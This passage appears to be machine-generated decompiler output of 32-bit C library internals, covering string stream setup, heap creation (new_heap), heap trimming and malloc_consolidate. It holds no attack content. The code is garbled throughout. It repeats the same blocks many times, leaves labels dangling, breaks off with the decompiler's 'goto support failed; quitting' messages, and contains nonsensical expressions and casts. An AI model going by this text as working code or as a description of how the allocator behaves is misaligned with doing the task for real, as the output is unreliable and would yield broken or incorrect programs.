// 0x80b1d9a
a1->e8 = NULL;
// branch -> 0x80b1da1
}
int32_t * v2 = a1->e5; // 0x80b1da1
g96 = (int32_t)v2;
g1 = false;
g103 = v2 == NULL;
if (v2 == NULL) {
// 0x80b1dcd
return (int32_t)v1;
}
int32_t * v3 = (int32_t *)(int32_t)a1; // 0x80b1da8_0
uint32_t v4 = *v3; // 0x80b1da8
uint32_t v5 = v4 / 256; // 0x80b1daa
g1 = false;
g103 = v5 % 2 == 0;
int32_t * v6; // 0x80b1daf
if ((v4 & -256) == 256) {
// 0x80b1daf
v6 = a1->e5;
free(v6);
a1->e5 = NULL;
a1->e7 = 0;
a1->e6 = 0;
// branch -> 0x80b1dcd
} else {
// 0x80b1dd4
g1 = false;
int32_t v7 = v5 & 254; // 0x80b1dd4
g103 = v7 == 0;
*v3 = 256 * v7 | v4 & -0xff01;
int32_t v8 = a1->e7; // 0x80b1ddc
g97 = v8;
a1->e2 = v8;
a1->e7 = a1->e2;
a1->e3 = (int32_t *)g96;
a1->e5 = (int32_t *)(int32_t)a1->e3;
a1->e1 = (int32_t *)g96;
int32_t * v9 = a1->e5; // 0x80b1df1
free(v9);
a1->e5 = NULL;
a1->e7 = 0;
a1->e6 = 0;
v6 = v9;
// branch -> 0x80b1dcd
}
// 0x80b1dcd
return (int32_t)v6;
}
// Address range: 0x80b253c - 0x80b25e9
int32_t _IO_str_init_static_internal(int32_t * a1, int32_t * a2, int32_t a3, int32_t result) {
struct struct_128 * v1 = (struct struct_128 *)g102; // bp-8
int32_t v2 = g98; // 0x80b2541
int32_t v3 = (int32_t)a1; // 0x80b2542
g98 = v3;
int32_t v4 = (int32_t)a2; // 0x80b2545
int32_t v5;
int32_t v6;
int32_t * v7; // 0x80b25e0_03
if (a3 == 0) {
// 0x80b25d8
v1 = NULL;
v6 = rawmemchr((struct struct_138 *)a2, (int32_t)g2);
// branch -> 0x80b255e
// 0x80b255e
v7 = (int32_t *)v4;
v5 = v6;
_IO_setb((struct struct_128 *)g98, (int32_t *)v4, (int32_t *)v6, (struct struct_128 *)g2, (int32_t *)0x80b25e0);
*(int32_t *)(g98 + 16) = v4;
*(int32_t *)(g98 + 12) = v4;
*(int32_t *)(g98 + 4) = v4;
if (result != 0) {
// 0x80b257b
*(int32_t *)(g98 + 20) = result;
*(int32_t *)(g98 + 24) = v5;
*(int32_t *)(g98 + 8) = result;
*(int32_t *)(g98 + 152) = 0;
g101 = (int32_t)v7;
g102 = (int32_t)v1;
return result;
}
// 0x80b25bb
*(int32_t *)(g98 + 20) = v4;
*(int32_t *)(g98 + 24) = v4;
*(int32_t *)(g98 + 8) = v5;
*(int32_t *)(g98 + 152) = 0;
g101 = (int32_t)v7;
g102 = (int32_t)v1;
return result;
}
int32_t v8 = v4 + a3; // 0x80b2553
int32_t * v9; // 0x80b25a0_0
if (v4 < v8) {
// 0x80b259c
v5 = v8;
v1 = NULL;
v9 = (int32_t *)v8;
_IO_setb((struct struct_128 *)a1, a2, v9, (struct struct_128 *)g2, (int32_t *)g100);
*(int32_t *)(g98 + 16) = v4;
*(int32_t *)(g98 + 12) = v4;
*(int32_t *)(g98 + 4) = v4;
if (result != 0) {
// 0x80b257b
*(int32_t *)(g98 + 20) = result;
*(int32_t *)(g98 + 24) = v5;
*(int32_t *)(g98 + 8) = result;
*(int32_t *)(g98 + 152) = 0;
g101 = (int32_t)v9;
g102 = (int32_t)v1;
return result;
}
} else {
// 0x80b2553
v6 = -1;
// branch -> 0x80b255e
// 0x80b255e
v7 = (int32_t *)g101;
v5 = v6;
_IO_setb((struct struct_128 *)v3, (int32_t *)v4, (int32_t *)v6, (struct struct_128 *)g2, (int32_t *)v2);
*(int32_t *)(g98 + 16) = v4;
*(int32_t *)(g98 + 12) = v4;
*(int32_t *)(g98 + 4) = v4;
if (result != 0) {
// 0x80b257b
*(int32_t *)(g98 + 20) = result;
*(int32_t *)(g98 + 24) = v5;
*(int32_t *)(g98 + 8) = result;
*(int32_t *)(g98 + 152) = 0;
g101 = (int32_t)v7;
g102 = (int32_t)v1;
return result;
}
v9 = v7;
}
// 0x80b25bb
*(int32_t *)(g98 + 20) = v4;
*(int32_t *)(g98 + 24) = v4;
*(int32_t *)(g98 + 8) = v5;
*(int32_t *)(g98 + 152) = 0;
g101 = (int32_t)v9;
g102 = (int32_t)v1;
return result;
}
// Address range: 0x80b2bcc - 0x80b2d23
int32_t new_heap(int32_t a1, int32_t * a2) {
int32_t * v1 = (int32_t *)g101; // 0x80b2bd0_0
int32_t v2 = getpagesize(); // 0x80b2bd6
int32_t v3 = -v2;
int32_t v4 = v2 - 1; // 0x80b2bdb
uint32_t v5 = g97 + g95; // 0x80b2bdc
struct struct_18 * v6; // 0x80b2cfa_3
int32_t v7; // 0x80b2c11
struct struct_18 * v8; // 0x80b2c11_5
int32_t v9; // 0x80b2c73
int32_t v10; // 0x80b2c7b_0
int32_t * v11; // 0x80b2ca6_0
int32_t * v12; // 0x80b2ce1_34
int32_t v13;
int32_t * v14; // 0x80b2c11
int32_t * v15; // 0x80b2c73
int32_t * v16; // 0x80b2cfa
int32_t v17; // 0x80b2ca3
int32_t v18; // 0x80b2c8e
int32_t v19; // 0x80b2ca6
int32_t * v20; // 0x80b2d191
int32_t * v21; // 0x80b2d192
int32_t v22; // 0x80b2bf7
int32_t * v23; // 0x80b2d21_05
int32_t v24; // 0x80b2d228
int32_t v25; // 0x80b2d229
int32_t v26; // 0x80b2c86
int32_t v27; // 0x80b2c92
if (v5 > 0x7fff) {
// 0x80b2cb0
if (v5 < 0x100001) {
// 0x80b2bf0
v13 = v4 + v5 & v3;
v22 = g66;
if (v22 == 0) {
// 0x80b2bf0
v6 = g2;
// branch -> 0x80b2c61
} else {
// 0x80b2c00
v8 = g2;
v7 = (int32_t)v8;
v14 = mmap((int32_t *)v22, 0x100000, v7, 0x4022, -1, v7);
g66 = 0;
if (v14 != (int32_t *)-1) {
// 0x80b2c2a
if (v14 == (int32_t *)0xfffff) {
v25 = g102;
v21 = (int32_t *)0xfffff;
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
v24 = v25;
v23 = v1;
v12 = v21;
// branch -> 0x80b2c4a
} else {
v20 = v21;
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
// 0x80b2c54
munmap(v14, 0x100000);
v6 = v8;
// branch -> 0x80b2c61
// 0x80b2c61
v9 = (int32_t)v6;
v15 = mmap(&v6->e0, 0x200000, v9, 0x4022, -1, v9);
v10 = (int32_t)v15;
if (v15 == (int32_t *)-1) {
// 0x80b2ce8
v16 = mmap(&v6->e0, 0x100000, v9, 0x4022, -1, v9);
if (v16 == (int32_t *)-1) {
// 0x80b2ce1
v24 = 0;
v23 = (int32_t *)-1;
v12 = NULL;
// branch -> 0x80b2c4a
} else {
// 0x80b2d09
v20 = v16;
if (v16 == (int32_t *)0xfffff) {
v21 = (int32_t *)0xfffff;
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
// branch -> 0x80b2c4a
// 0x80b2c4a
g101 = (int32_t)(int32_t *)-1;
g102 = 0;
return (int32_t)v21;
}
v20 = v21;
}
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
// 0x80b2c80
v26 = v10 + 0xfffff & -0x100000;
v18 = v26 - v10;
if (v26 == v10) {
// 0x80b2c92
v27 = v10 + 0x100000;
g66 = v27;
v19 = v27;
// branch -> 0x80b2c9e
} else {
// 0x80b2cd0
munmap(v15, v18);
v19 = v26 + 0x100000;
// branch -> 0x80b2c9e
}
// 0x80b2c9e
v17 = 0x100000 - v18;
v11 = (int32_t *)v19;
munmap(v11, v17);
v21 = (int32_t *)v26;
// branch -> 0x80b2c31
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
v24 = v17;
v23 = v11;
v12 = v21;
// branch -> 0x80b2c4a
} else {
v20 = v21;
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
v6 = v8;
}
// 0x80b2c61
v9 = (int32_t)v6;
v15 = mmap(&v6->e0, 0x200000, v9, 0x4022, -1, v9);
v10 = (int32_t)v15;
if (v15 == (int32_t *)-1) {
// 0x80b2ce8
v16 = mmap(&v6->e0, 0x100000, v9, 0x4022, -1, v9);
if (v16 == (int32_t *)-1) {
// 0x80b2ce1
v24 = 0;
v23 = (int32_t *)-1;
v12 = NULL;
// branch -> 0x80b2c4a
} else {
// 0x80b2d09
v20 = v16;
if (v16 == (int32_t *)0xfffff) {
v21 = (int32_t *)0xfffff;
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
// branch -> 0x80b2c4a
// 0x80b2c4a
g101 = (int32_t)(int32_t *)-1;
g102 = 0;
return (int32_t)v21;
}
v20 = v21;
}
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
// 0x80b2c80
v26 = v10 + 0xfffff & -0x100000;
v18 = v26 - v10;
if (v26 == v10) {
// 0x80b2c92
v27 = v10 + 0x100000;
g66 = v27;
v19 = v27;
// branch -> 0x80b2c9e
} else {
// 0x80b2cd0
munmap(v15, v18);
v19 = v26 + 0x100000;
// branch -> 0x80b2c9e
}
// 0x80b2c9e
v17 = 0x100000 - v18;
v11 = (int32_t *)v19;
munmap(v11, v17);
v21 = (int32_t *)v26;
// branch -> 0x80b2c31
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
v24 = v17;
v23 = v11;
v12 = v21;
// branch -> 0x80b2c4a
} else {
v20 = v21;
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
int32_t v28 = g102; // 0x80b2d2210
if (g95 > 0x100000) {
// 0x80b2ce1
// branch -> 0x80b2c4a
// 0x80b2c4a
g101 = (int32_t)v1;
g102 = v28;
return (int32_t)NULL;
}
// 0x80b2cc4
// branch -> 0x80b2bf0
// 0x80b2bf0
v13 = v4 + 0x100000 & v3;
v22 = g66;
if (v22 == 0) {
// 0x80b2bf0
v6 = g2;
// branch -> 0x80b2c61
} else {
// 0x80b2c00
v8 = g2;
v7 = (int32_t)v8;
v14 = mmap((int32_t *)v22, 0x100000, v7, 0x4022, -1, v7);
g66 = 0;
if (v14 != (int32_t *)-1) {
// 0x80b2c2a
if (v14 == (int32_t *)0xfffff) {
v25 = g102;
v21 = (int32_t *)0xfffff;
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
v24 = v25;
v23 = v1;
v12 = v21;
// branch -> 0x80b2c4a
} else {
v20 = v21;
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
// 0x80b2c54
munmap(v14, 0x100000);
v6 = v8;
// branch -> 0x80b2c61
// 0x80b2c61
v9 = (int32_t)v6;
v15 = mmap(&v6->e0, 0x200000, v9, 0x4022, -1, v9);
v10 = (int32_t)v15;
if (v15 == (int32_t *)-1) {
// 0x80b2ce8
v16 = mmap(&v6->e0, 0x100000, v9, 0x4022, -1, v9);
if (v16 == (int32_t *)-1) {
// 0x80b2ce1
v24 = 0;
v23 = (int32_t *)-1;
v12 = NULL;
// branch -> 0x80b2c4a
} else {
// 0x80b2d09
v20 = v16;
if (v16 == (int32_t *)0xfffff) {
v21 = (int32_t *)0xfffff;
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
// branch -> 0x80b2c4a
// 0x80b2c4a
g101 = (int32_t)(int32_t *)-1;
g102 = 0;
return (int32_t)v21;
}
v20 = v21;
}
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
// 0x80b2c80
v26 = v10 + 0xfffff & -0x100000;
v18 = v26 - v10;
if (v26 == v10) {
// 0x80b2c92
v27 = v10 + 0x100000;
g66 = v27;
v19 = v27;
// branch -> 0x80b2c9e
} else {
// 0x80b2cd0
munmap(v15, v18);
v19 = v26 + 0x100000;
// branch -> 0x80b2c9e
}
// 0x80b2c9e
v17 = 0x100000 - v18;
v11 = (int32_t *)v19;
munmap(v11, v17);
v21 = (int32_t *)v26;
// branch -> 0x80b2c31
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
v24 = v17;
v23 = v11;
v12 = v21;
// branch -> 0x80b2c4a
} else {
v20 = v21;
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
v6 = v8;
}
// 0x80b2c61
v9 = (int32_t)v6;
v15 = mmap(&v6->e0, 0x200000, v9, 0x4022, -1, v9);
v10 = (int32_t)v15;
if (v15 == (int32_t *)-1) {
// 0x80b2ce8
v16 = mmap(&v6->e0, 0x100000, v9, 0x4022, -1, v9);
if (v16 == (int32_t *)-1) {
// 0x80b2ce1
v24 = 0;
v23 = (int32_t *)-1;
v12 = NULL;
// branch -> 0x80b2c4a
} else {
// 0x80b2d09
v20 = v16;
if (v16 == (int32_t *)0xfffff) {
v21 = (int32_t *)0xfffff;
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
// branch -> 0x80b2c4a
// 0x80b2c4a
g101 = (int32_t)(int32_t *)-1;
g102 = 0;
return (int32_t)v21;
}
v20 = v21;
}
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
// 0x80b2c80
v26 = v10 + 0xfffff & -0x100000;
v18 = v26 - v10;
if (v26 == v10) {
// 0x80b2c92
v27 = v10 + 0x100000;
g66 = v27;
v19 = v27;
// branch -> 0x80b2c9e
} else {
// 0x80b2cd0
munmap(v15, v18);
v19 = v26 + 0x100000;
// branch -> 0x80b2c9e
}
// 0x80b2c9e
v17 = 0x100000 - v18;
v11 = (int32_t *)v19;
munmap(v11, v17);
v21 = (int32_t *)v26;
// branch -> 0x80b2c31
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
v24 = v17;
v23 = v11;
v12 = v21;
// branch -> 0x80b2c4a
} else {
v20 = v21;
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
// 0x80b2beb
// branch -> 0x80b2bf0
// 0x80b2bf0
v13 = v4 + 0x8000 & v3;
v22 = g66;
if (v22 != 0) {
// 0x80b2c00
v8 = g2;
v7 = (int32_t)v8;
v14 = mmap((int32_t *)v22, 0x100000, v7, 0x4022, -1, v7);
g66 = 0;
if (v14 == (int32_t *)-1) {
v6 = v8;
// 0x80b2c61
v9 = (int32_t)v6;
v15 = mmap(&v6->e0, 0x200000, v9, 0x4022, -1, v9);
v10 = (int32_t)v15;
if (v15 == (int32_t *)-1) {
// 0x80b2ce8
v16 = mmap(&v6->e0, 0x100000, v9, 0x4022, -1, v9);
if (v16 == (int32_t *)-1) {
// 0x80b2ce1
v24 = 0;
v23 = (int32_t *)-1;
v12 = NULL;
// branch -> 0x80b2c4a
} else {
// 0x80b2d09
v20 = v16;
if (v16 == (int32_t *)0xfffff) {
v21 = (int32_t *)0xfffff;
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
// branch -> 0x80b2c4a
// 0x80b2c4a
g101 = (int32_t)(int32_t *)-1;
g102 = 0;
return (int32_t)v21;
}
v20 = v21;
}
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
// 0x80b2c80
v26 = v10 + 0xfffff & -0x100000;
v18 = v26 - v10;
if (v26 == v10) {
// 0x80b2c92
v27 = v10 + 0x100000;
g66 = v27;
v19 = v27;
// branch -> 0x80b2c9e
} else {
// 0x80b2cd0
munmap(v15, v18);
v19 = v26 + 0x100000;
// branch -> 0x80b2c9e
}
// 0x80b2c9e
v17 = 0x100000 - v18;
v11 = (int32_t *)v19;
munmap(v11, v17);
v21 = (int32_t *)v26;
// branch -> 0x80b2c31
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
v24 = v17;
v23 = v11;
v12 = v21;
// branch -> 0x80b2c4a
} else {
v20 = v21;
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
// 0x80b2c2a
if (v14 == (int32_t *)0xfffff) {
v25 = g102;
v21 = (int32_t *)0xfffff;
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
v24 = v25;
v23 = v1;
v12 = v21;
// branch -> 0x80b2c4a
} else {
v20 = v21;
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
// 0x80b2c54
munmap(v14, 0x100000);
v6 = v8;
// branch -> 0x80b2c61
// 0x80b2c61
v9 = (int32_t)v6;
v15 = mmap(&v6->e0, 0x200000, v9, 0x4022, -1, v9);
v10 = (int32_t)v15;
if (v15 == (int32_t *)-1) {
// 0x80b2ce8
v16 = mmap(&v6->e0, 0x100000, v9, 0x4022, -1, v9);
if (v16 == (int32_t *)-1) {
// 0x80b2ce1
v24 = 0;
v23 = (int32_t *)-1;
v12 = NULL;
// branch -> 0x80b2c4a
} else {
// 0x80b2d09
v20 = v16;
if (v16 == (int32_t *)0xfffff) {
v21 = (int32_t *)0xfffff;
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
// branch -> 0x80b2c4a
// 0x80b2c4a
g101 = (int32_t)(int32_t *)-1;
g102 = 0;
return (int32_t)v21;
}
v20 = v21;
}
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
// 0x80b2c80
v26 = v10 + 0xfffff & -0x100000;
v18 = v26 - v10;
if (v26 == v10) {
// 0x80b2c92
v27 = v10 + 0x100000;
g66 = v27;
v19 = v27;
// branch -> 0x80b2c9e
} else {
// 0x80b2cd0
munmap(v15, v18);
v19 = v26 + 0x100000;
// branch -> 0x80b2c9e
}
// 0x80b2c9e
v17 = 0x100000 - v18;
v11 = (int32_t *)v19;
munmap(v11, v17);
v21 = (int32_t *)v26;
// branch -> 0x80b2c31
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
v24 = v17;
v23 = v11;
v12 = v21;
// branch -> 0x80b2c4a
} else {
v20 = v21;
// 0x80b2d14
munmap(v20, 0x100000);
v24 = 0x100000;
v23 = v20;
// branch -> 0x80b2c4a
}
// 0x80b2c4a
g101 = (int32_t)v23;
g102 = v24;
return (int32_t)v12;
}
// 0x80b2bf0
v6 = g2;
// branch -> 0x80b2c61
// 0x80b2c61
v9 = (int32_t)v6;
v15 = mmap(&v6->e0, 0x200000, v9, 0x4022, -1, v9);
v10 = (int32_t)v15;
if (v15 == (int32_t *)-1) {
// 0x80b2ce8
v16 = mmap(&v6->e0, 0x100000, v9, 0x4022, -1, v9);
if (v16 == (int32_t *)-1) {
// 0x80b2ce1
// branch -> 0x80b2c4a
} else {
// 0x80b2d09
v20 = v16;
if (v16 == (int32_t *)0xfffff) {
v21 = (int32_t *)0xfffff;
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
// branch -> 0x80b2c4a
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
v20 = v21;
}
}
// 0x80b2d14
munmap(v20, 0x100000);
// branch -> 0x80b2c4a
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80b2c80
v26 = v10 + 0xfffff & -0x100000;
v18 = v26 - v10;
if (v26 == v10) {
// 0x80b2c92
v27 = v10 + 0x100000;
g66 = v27;
v19 = v27;
// branch -> 0x80b2c9e
} else {
// 0x80b2cd0
munmap(v15, v18);
v19 = v26 + 0x100000;
// branch -> 0x80b2c9e
}
// 0x80b2c9e
munmap((int32_t *)v19, 0x100000 - v18);
v21 = (int32_t *)v26;
// branch -> 0x80b2c31
}
// 0x80b2c31
if (mprotect(v21, v13, 3) == 0) {
// 0x80b2c45
*(int32_t *)((int32_t)v21 + 8) = v13;
// branch -> 0x80b2c4a
} else {
// 0x80b2d14
munmap(v21, 0x100000);
// branch -> 0x80b2c4a
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Address range: 0x80b2f10 - 0x80b2fa3
int32_t sYSTRIm(int32_t a1, int32_t * a2, char * a3) {
int32_t v1 = g97; // 0x80b2f17
int32_t v2 = g76; // 0x80b2f1a
g96 = v2;
int32_t * v3 = (int32_t *)(v1 + 48); // 0x80b2f20_0
int32_t v4 = *(int32_t *)(*v3 + 4) & -8; // 0x80b2f26
g101 = v4;
int32_t v5 = ((v2 - 17 + v4 - g95) / v2 - 1) * v2; // 0x80b2f38
if (v5 >= 1) {
struct struct_18 * v6 = g2; // 0x80b2f41_3
int32_t * v7 = __default_morecore(&v6->e0); // 0x80b2f41
int32_t v8 = (int32_t)v7; // 0x80b2f41_4
if (v8 == g101 + *v3) {
int32_t v9 = -v5; // 0x80b2f60
__default_morecore((int32_t *)v9);
int32_t v10 = g65; // 0x80b2f69
g95 = v10;
g98 = v9;
g1 = false;
g103 = v10 == 0;
if (v10 != 0) {
// 0x80b2f73
((int32_t (*)())v10)();
// branch -> 0x80b2f75
}
int32_t * v11 = __default_morecore(&v6->e0); // 0x80b2f77
if (v11 == NULL) {
// 0x80b2f56
// branch -> 0x80b2f58
// 0x80b2f58
return 0;
}
int32_t v12 = v8 - (int32_t)v11; // 0x80b2f84
if (v7 == v11) {
// 0x80b2f56
// branch -> 0x80b2f58
// 0x80b2f58
return 0;
}
int32_t * v13 = (int32_t *)(v1 + 1100); // 0x80b2f8b_0
*v13 = *v13 - v12;
*(int32_t *)(*(int32_t *)(v1 + 48) + 4) = g101 - v12 | 1;
// branch -> 0x80b2f58
// 0x80b2f58
return 1;
}
}
// 0x80b2f56
// branch -> 0x80b2f58
// 0x80b2f58
return 0;
}
// Address range: 0x80b34f8 - 0x80b37ef
int32_t malloc_consolidate(int32_t a1, int32_t * a2) {
int32_t v1 = g100; // 0x80b34f8
int32_t v2 = g102; // 0x80b34fb
int32_t (*v3)(char *, int32_t *) = (int32_t (*)(char *, int32_t *))v2; // 0x80b34fb_0
struct struct_59 * v4 = (struct struct_59 *)g101; // bp-12
int32_t v5 = g98; // 0x80b34fd
int32_t * v6 = (int32_t *)v5; // 0x80b34fd_0
int32_t v7 = g95; // 0x80b3501
int32_t * v8 = (int32_t *)(v7 + 4); // 0x80b3504_0
int32_t v9 = *v8; // 0x80b3504
int32_t v10 = v9;
int32_t v11;
if (v9 == 0) {
int32_t v12 = v7 + 56; // 0x80b3798
v11 = v12;
int32_t v13 = v12; // 0x80b37a0
*(int32_t *)(v13 + 12) = v13;
int32_t v14 = v11; // 0x80b37a3
*(int32_t *)(v14 + 8) = v14;
int32_t v15 = 2; // 0x80b37a6
int32_t v16 = v11 + 8; // 0x80b37a7
v11 = v16;
// branch -> 0x80b37a0
while (v15 != 128) {
// 0x80b37a0
v13 = v16;
*(int32_t *)(v13 + 12) = v13;
v14 = v11;
*(int32_t *)(v14 + 8) = v14;
v15++;
v16 = v11 + 8;
v11 = v16;
// continue -> 0x80b37a0
}
// 0x80b37b2
int32_t result;
if (v7 != 0x8139c40) {
// 0x80b37bb
v10 = 2;
*v8 = 2;
result = v7;
// branch -> 0x80b37cc
} else {
result = 0x8139c40;
}
// 0x80b37cc
*(int32_t *)(result + 4) = v10 & 2 | 73;
*(int32_t *)(result + 48) = v12;
g98 = v5;
g101 = (int32_t)v4;
g102 = v2;
g100 = v1;
return result;
}
int32_t v17 = v9 | 1; // 0x80b350f
*v8 = v17;
int32_t v18 = g95; // 0x80b3515
int32_t v19 = v18 + 56; // 0x80b3515
int32_t v20 = v7 + 8; // 0x80b351e
int32_t * v21 = (int32_t *)v20; // 0x80b3521_0
int32_t * v22 = v21; // bp-52
int32_t * v23 = (int32_t *)(4 * v17 / 8 + v7); // 0x80b352b_0
int32_t v24 = *v21; // 0x80b3530
g98 = v24;
int32_t (*v25)(char *, int32_t *);
int32_t v26; // 0x80b3687
int32_t * v27; // 0x80b3583_0
int32_t * v28; // 0x80b360f_0
int32_t * v29; // bp+024
int32_t v30; // 0x80b35d5
int32_t * v31; // 0x80b37db_09
if (v24 == 0) {
int32_t * v32 = a2; // bp+026
int32_t (*v33)(char *, int32_t *) = v3;
int32_t * v34 = v6; // bp+011
lab_0xff6f570:;
int32_t * v35 = (int32_t *)(v20 + 4); // 0x80b3667_3
if (*v21 == *v23) {
// 0x80b3672
g98 = (int32_t)v34;
g101 = (int32_t)v4;
g102 = (int32_t)v33;
g100 = v1;
return (int32_t)v35;
}
int32_t * v36 = v23;
int32_t * v37 = v32; // bp+027
int32_t (*v38)(char *, int32_t *) = v33;
int32_t * v39 = v34; // bp+012
lab_0x748bd20:
// 0x80b3656
v22 = v35;
int32_t v40 = (int32_t)v35; // 0x80b3659
int32_t v41 = *v35; // 0x80b365b
g98 = v41;
if (v41 == 0) {
v21 = v35;
v23 = v36;
v20 = v40;
v32 = v37;
v33 = v38;
v34 = v39;
goto lab_0xff6f570;
}
// 0x80b353a
v35[v7] = 0;
v26 = (int32_t)g2;
v28 = (int32_t *)(v7 + 48);
v27 = (int32_t *)(v18 + 64);
v30 = g98;
v29 = v37;
v25 = v38;
v31 = v39;
// branch -> 0x80b35af
lab_0x11394260:;
int32_t (*v42)(char *, int32_t *);
int32_t * v43; // 0x80b364b_3
int32_t * v44; // bp+028
int32_t * v45; // bp-48
int32_t * v46; // bp+014
while (true) {
int32_t v47 = *(int32_t *)(v30 + 8); // 0x80b35af
int32_t v48 = *(int32_t *)(v30 + 4); // 0x80b35b5
int32_t v49 = v48 & -6; // 0x80b35ba
int32_t v50 = v49 + v30; // 0x80b35c0
g101 = v50;
int32_t v51 = *(int32_t *)(v50 + 4) & -8; // 0x80b35c6
int32_t * v52 = v29; // bp+030
_int_free = v25;
int32_t * v53 = v31; // 0x80b37db_08
int32_t v54 = v49; // 0x80b362b6
int32_t v55; // 0x80b360f
if (v48 == 1) {
int32_t v56 = *(int32_t *)v30; // 0x80b35d0
int32_t v57 = v56 + v49; // 0x80b35d2
int32_t v58 = v30 - v56; // 0x80b35d5
g98 = v58;
int32_t v59 = *(int32_t *)(v58 + 8); // 0x80b35d7
v11 = v59;
int32_t v60 = *(int32_t *)(v58 + 12); // 0x80b35da
g97 = v60;
int32_t * v61 = (int32_t *)(v59 + 12); // 0x80b35dd_0
if (v58 == *v61) {
// 0x80b3727
if (v58 == (int32_t)v29) {
// 0x80b3730
*v61 = v60;
v52 = (int32_t *)v11;
_int_free = v25;
v53 = v31;
v54 = v57;
// branch -> 0x80b360c
lab_0x7494d10:
// 0x80b360c
v55 = g101;
if (v55 == *v28) {
lab_0x7495ce0:
// 0x80b362b
*(int32_t *)(g98 + 4) = v54 + v51 | 1;
*v28 = g98;
g98 = v47;
if (v47 == 0) {
v44 = v52;
v42 = _int_free;
v46 = v53;
// break -> 0x80b3648
break;
}
v30 = v47;
v29 = v52;
v25 = _int_free;
v31 = v53;
// continue -> 0x80b35af
continue;
} else {
lab_0x11394380:;
// 0x80b3614
int32_t (*v62)(char *, int32_t *);
int32_t * v63; // bp+029
int32_t v64;
int32_t * v65; // bp+015
int32_t v66; // 0x80b362b7
if (*(char *)(v55 + (v51 || 4)) == 1) {
int32_t v67 = v54 + v51; // 0x80b3544
